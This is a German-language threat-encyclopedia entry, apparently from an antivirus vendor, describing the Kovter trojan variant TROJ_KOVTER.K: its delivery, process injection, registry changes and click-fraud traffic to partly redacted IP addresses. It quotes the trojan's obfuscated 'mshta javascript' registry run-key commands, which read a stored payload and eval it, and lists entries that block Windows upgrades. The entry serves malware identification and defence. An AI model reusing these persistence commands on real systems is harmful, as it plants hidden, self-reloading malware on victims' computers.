TROJ_KOVTER.K

Wird möglicherweise von anderer Malware von Remote-Sites heruntergeladen:

Wird ausgeführt und löscht sich dann selbst.

Diese Malware hat keine Verbreitungsroutine.

Diese Malware hat keine Backdoor-Routine.

Ändert Zoneneinstellungen von Internet Explorer.

Verbindet sich mit einer bestimmten Website, um Daten zu versenden und zu empfangen.

Übertragungsdetails

Wird möglicherweise von der folgender Malware von Remote-Sites heruntergeladen:

• JS_NEMUCOD.KXYZ

Installation

Fügt die folgenden Prozesse hinzu:

• regsvr32.exe

Wird ausgeführt und löscht sich dann selbst.

Injiziert Code in die folgenden Prozesse:

• regsvr32.exe

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
{Null} = "mshta javascript:xEuBDnt4Y="cbeK7SeMv";H1U=new%20ActiveXObject("WScript.Shell");O3kk5zxq="EJjXJB";BrZd1=H1U.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rUM5dv2zhV="LxR5";eval(BrZd1);Y3DfRzTY="frzyG0q0g";;"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer\Run
{Null} = "mshta javascript:cZYSi0BI="CC8cBR1W";z02M=new%20ActiveXObject("WScript.Shell");qgiy1yyU6J="rpl0TMB3Aj";OSSs3=z02M.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rQpsj7BaI7="8IxX6teyY";eval(OSSs3);svmX9Zn5="rg31WxpuDz";;"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{Null} = "mshta javascript:BPWvd6xb="Go";Q1z=new%20ActiveXObject("WScript.Shell");xiJ6yyeV="jv7x1kl";k3DnE6=Q1z.RegRead("HKCU\software\6f77bb644b\5d4b99eb");kF78bbaONu="RUrLKyq";eval(k3DnE6);cOJnBIyt1="dNA5ccB";;"

Andere Systemänderungen

Erstellt auch die folgenden Registrierungseinträge während der eigenen Installation:

HKEY_LOCAL_MACHINE\SOFTWARE\{Random Hex Value 1}
{Random Hex Value 2} = "{Random Hex Value 2}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Random String}

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 2} = "{3 Random Number}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 2} = "{3 Random Number}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 3} = "{16 Hex Numbers}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 3} = "{16 Hex Numbers}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 4} = "{10 random number}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 4} = "{10 Random Number}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 5} = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2);"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 5} = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2);"

HKEY_LOCAL_MACHINE\SOFWARE\POLICIES\
Microsoft\Windows\WindowsUpdate
DisableOSUpgrade = "1"

HKEY_LOCAL_MACHINE\SOFWARE\POLICIES\
Microsoft\Windows\WindowsUpdate\
OSUpgrade
ReservationsAllowed = "0"

Verbreitung

Diese Malware hat keine Verbreitungsroutine.

Backdoor-Routine

Diese Malware hat keine Backdoor-Routine.

Änderung der Startseite von Webbrowser und Suchseite

Ändert Zoneneinstellungen von Internet Explorer.

Andere Details

Verbindet sich mit der folgenden Website, um Daten zu versenden und zu empfangen:

• http://{BLOCKED}.{BLOCKED}.69.66/upload.php - inaccessible
• http://{BLOCKED}.{BLOCKED}.144.46/ - used for click-fraud activity